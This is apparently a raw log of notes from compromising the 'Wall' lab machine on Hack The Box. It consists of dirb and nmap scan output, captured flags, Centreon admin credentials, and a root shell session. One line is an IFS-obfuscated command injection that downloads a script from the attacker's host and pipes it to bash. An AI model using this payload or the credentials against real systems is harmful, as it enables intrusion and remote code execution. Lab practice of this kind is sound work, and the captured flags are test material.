IhsanSencan
```
==============================
root@ihsan:~/Masaüstü# dirb http://10.10.10.157/ /usr/share/wordlists/dirb/common.txt -X .txt,.html,.php
----------------
DIRB v2.22
By The Dark Raver
----------------
START_TIME: Sat Sep 14 22:01:34 2019
URL_BASE: http://10.10.10.157/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
EXTENSIONS_LIST: (.txt,.html,.php) | (.txt)(.html)(.php) [NUM = 3]
----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/ ----
+ http://10.10.10.157/aa.php (CODE:200|SIZE:1)
+ http://10.10.10.157/index.html (CODE:200|SIZE:10918)
+ http://10.10.10.157/panel.php (CODE:200|SIZE:26)
----------------
END_TIME: Sat Sep 14 23:09:05 2019
DOWNLOADED: 13836 - FOUND: 3
==============================
root@ihsan:~/Masaüstü# dirb http://10.10.10.157/ /usr/share/wordlists/dirb/common.txt
----------------
DIRB v2.22
By The Dark Raver
----------------
START_TIME: Sat Sep 14 22:01:33 2019
URL_BASE: http://10.10.10.157/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/ ----
+ http://10.10.10.157/index.html (CODE:200|SIZE:10918)
+ http://10.10.10.157/monitoring (CODE:401|SIZE:459)
+ http://10.10.10.157/server-status (CODE:403|SIZE:300)
----------------
END_TIME: Sat Sep 14 22:24:03 2019
DOWNLOADED: 4612 - FOUND: 3
==============================
root@ihsan:~/Masaüstü# dirb http://10.10.10.157/centreon/ /usr/share/wordlists/dirb/common.txt -X
.txt,.html,.php
----------------
DIRB v2.22
By The Dark Raver
----------------
START_TIME: Sat Sep 14 23:41:43 2019
URL_BASE: http://10.10.10.157/centreon/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
EXTENSIONS_LIST: (.txt,.html,.php) | (.txt)(.html)(.php) [NUM = 3]
----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/centreon/ ----
+ http://10.10.10.157/centreon/a.php (CODE:200|SIZE:1)
+ http://10.10.10.157/centreon/index.html (CODE:200|SIZE:1864)
+ http://10.10.10.157/centreon/index.php (CODE:200|SIZE:3091)
+ http://10.10.10.157/centreon/main.php (CODE:302|SIZE:0)
```

```
+ http://10.10.10.157/centreon/robots.txt (CODE:200|SIZE:26)
-----------------
END_TIME: Sun Sep 15 00:52:59 2019
DOWNLOADED: 13836 - FOUND: 5
root@ihsan:~/Masaüstü#
================================
root@ihsan:~/Masaüstü# dirb http://10.10.10.157/centreon/ /usr/share/wordlists/dirb/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 14 23:41:38 2019
URL_BASE: http://10.10.10.157/centreon/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/centreon/ ----
==> DIRECTORY: http://10.10.10.157/centreon/api/
==> DIRECTORY: http://10.10.10.157/centreon/class/
==> DIRECTORY: http://10.10.10.157/centreon/img/
==> DIRECTORY: http://10.10.10.157/centreon/include/
+ http://10.10.10.157/centreon/index.html (CODE:200|SIZE:1864)
+ http://10.10.10.157/centreon/index.php (CODE:200|SIZE:3091)
==> DIRECTORY: http://10.10.10.157/centreon/lib/
==> DIRECTORY: http://10.10.10.157/centreon/locale/
==> DIRECTORY: http://10.10.10.157/centreon/modules/
+ http://10.10.10.157/centreon/robots.txt (CODE:200|SIZE:26)
==> DIRECTORY: http://10.10.10.157/centreon/sounds/
==> DIRECTORY: http://10.10.10.157/centreon/static/
==> DIRECTORY: http://10.10.10.157/centreon/Themes/
==> DIRECTORY: http://10.10.10.157/centreon/widgets/
-----------------
END_TIME: Sun Sep 15 00:30:46 2019
DOWNLOADED: 9224 - FOUND: 4
================================
root@ihsan:~/Masaüstü# nmap -p 1-65535 -T4 -A -v 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 22:01 +03
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Initiating Ping Scan at 22:01
Scanning 10.10.10.157 [4 ports]
Completed Ping Scan at 22:01, 0.22s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:01
Scanning wall.htb (10.10.10.157) [65535 ports]
Discovered open port 80/tcp on 10.10.10.157
Discovered open port 22/tcp on 10.10.10.157
Increasing send delay for 10.10.10.157 from 0 to 5 due to 1321 out of 3301 dropped probes since last
increase.
SYN Stealth Scan Timing: About 5.86% done; ETC: 22:10 (0:08:18 remaining)
Increasing send delay for 10.10.10.157 from 5 to 10 due to max_successful_tryno increase to 5
SYN Stealth Scan Timing: About 6.60% done; ETC: 22:16 (0:14:24 remaining)
```

```
Completed SYN Stealth Scan at 22:28, 1627.21s elapsed (65535 total ports)
Initiating Service scan at 22:28
Scanning 2 services on wall.htb (10.10.10.157)
Completed Service scan at 22:28, 5.00s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against wall.htb (10.10.10.157)
Retrying OS detection (try #2) against wall.htb (10.10.10.157)
Retrying OS detection (try #3) against wall.htb (10.10.10.157)
Retrying OS detection (try #4) against wall.htb (10.10.10.157)
Retrying OS detection (try #5) against wall.htb (10.10.10.157)
Initiating Traceroute at 22:29
Completed Traceroute at 22:29, 0.21s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 22:29
Completed Parallel DNS resolution of 2 hosts. at 22:29, 0.01s elapsed
NSE: Script scanning 10.10.10.157.
Initiating NSE at 22:29
Completed NSE at 22:29, 43.09s elapsed
Initiating NSE at 22:29
Completed NSE at 22:29, 8.37s elapsed
Initiating NSE at 22:29
Completed NSE at 22:29, 0.01s elapsed
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.19s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open tcpwrapped
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=9/14%OT=22%CT=1%CU=35880%PV=Y%DS=2%DC=T%G=Y%TM=5D7D3F
B
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=103%TI=Z%CI=I%TS=A)SEQ(SP=10
OS:2%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
W
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
F
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=
40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 29.715 days (since Fri Aug 16 05:20:49 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 178.75 ms 10.10.14.1
```

```
2 213.07 ms wall.htb (10.10.10.157)
NSE: Script Post-scanning.
Initiating NSE at 22:29
Completed NSE at 22:29, 0.00s elapsed
Initiating NSE at 22:29
Completed NSE at 22:29, 0.00s elapsed
Initiating NSE at 22:29
Completed NSE at 22:29, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1701.89 seconds
Raw packets sent: 78000 (3.437MB) | Rcvd: 235452 (12.025MB)
==============================
root@ihsan:~/Masaüstü# nmap -v -sC 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 22:01 +03
NSE: Loaded 121 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Initiating Ping Scan at 22:01
Scanning 10.10.10.157 [4 ports]
Completed Ping Scan at 22:01, 0.22s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:01
Scanning wall.htb (10.10.10.157) [1000 ports]
Discovered open port 80/tcp on 10.10.10.157
Discovered open port 22/tcp on 10.10.10.157
Completed SYN Stealth Scan at 22:01, 2.01s elapsed (1000 total ports)
NSE: Script scanning 10.10.10.157.
Initiating NSE at 22:01
Completed NSE at 22:01, 14.68s elapsed
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
NSE: Script Post-scanning.
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Initiating NSE at 22:01
Completed NSE at 22:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
Raw packets sent: 1087 (47.804KB) | Rcvd: 1024 (41.040KB)
root@ihsan:~/Masaüstü#
==============================
```

```
root@ihsan:~/Masaüstü# nmap -6 -p 1-65535 -T4 -A -v -P0 dead:beef::250:56ff:febd:93b
Warning: The -P0 option is deprecated. Please use -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 22:54 +03
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 22:54
Completed Parallel DNS resolution of 1 host. at 22:54, 0.13s elapsed
Initiating SYN Stealth Scan at 22:54
Scanning dead:beef::250:56ff:febd:93b [65535 ports]
Discovered open port 80/tcp on dead:beef::250:56ff:febd:93b
Discovered open port 22/tcp on dead:beef::250:56ff:febd:93b
Increasing send delay for dead:beef::250:56ff:febd:93b from 0 to 5 due to 779 out of 1946 dropped probes since last increase.
SYN Stealth Scan Timing: About 4.27% done; ETC: 23:06 (0:11:36 remaining)
Completed SYN Stealth Scan at 23:15, 1251.61s elapsed (65535 total ports)
Initiating Service scan at 23:15
Scanning 2 services on dead:beef::250:56ff:febd:93b
Completed Service scan at 23:15, 19.23s elapsed (2 services on 1 host)
NSE: Script scanning dead:beef::250:56ff:febd:93b.
Initiating NSE at 23:15
Completed NSE at 23:17, 70.57s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 8.25s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Nmap scan report for dead:beef::250:56ff:febd:93b
Host is up (0.18s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http?
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
20489/tcp filtered unknown
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.13 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 00:50:56:bd:09:3b
|_ manuf: VMware
TRACEROUTE
```

HOP RTT ADDRESS
1 183.17 ms dead:beef::250:56ff:febd:93b
NSE: Script Post-scanning.
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Initiating NSE at 23:17
Completed NSE at 23:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1355.61 seconds
Raw packets sent: 75150 (4.810MB) | Rcvd: 69889 (4.194MB)
==============================
Wall user: fe6194544f452f62dc905b12f8da8406
Wall root: 1fdbcf8c33eaa2599afdc52e1b4d5db7

http://10.10.10.157/centreon/
admin/password1

wget${IFS}-qO-${IFS}http://10.10.15.160:4000/exp.sh${IFS}|${IFS}bash;

www-data@Wall:/tmp$ ./rootshell
./rootshell
id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
# cat /root/root.txt
cat /root/root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7
cd /home
cd /home
ls -al
ls -al
total 16
drwxr-xr-x 4 root root 4096 Jul 4 00:38 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby
drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor
cd shelby
ls -al
cd shelby
ls -al
total 48
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 .
drwxr-xr-x 4 root root 4096 Jul 4 00:38 ..
lrwxrwxrwx 1 root root 9 Jul 6 15:07 .bash_history -> /dev/null
-rw-r--r-- 1 shelby shelby 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 shelby shelby 3771 Apr 4 2018 .bashrc
drwx------ 2 shelby shelby 4096 Jul 4 01:04 .cache
drwx------ 3 shelby shelby 4096 Jul 4 01:04 .gnupg
drwxrwxr-x 3 shelby shelby 4096 Jul 4 00:45 .local
-rw-r--r-- 1 shelby shelby 807 Apr 4 2018 .profile
drwxr-xr-x 2 shelby shelby 4096 Jul 4 17:45 .rpmdb
-rw-rw-r-- 1 shelby shelby 4567 Sep 15 15:43 html.zip
-rw------- 1 shelby shelby 33 Jul 4 01:22 user.txt

```
# cat user.txt
cat user.txt
fe6194544f452f62dc905b12f8da8406
# cd /tmp
```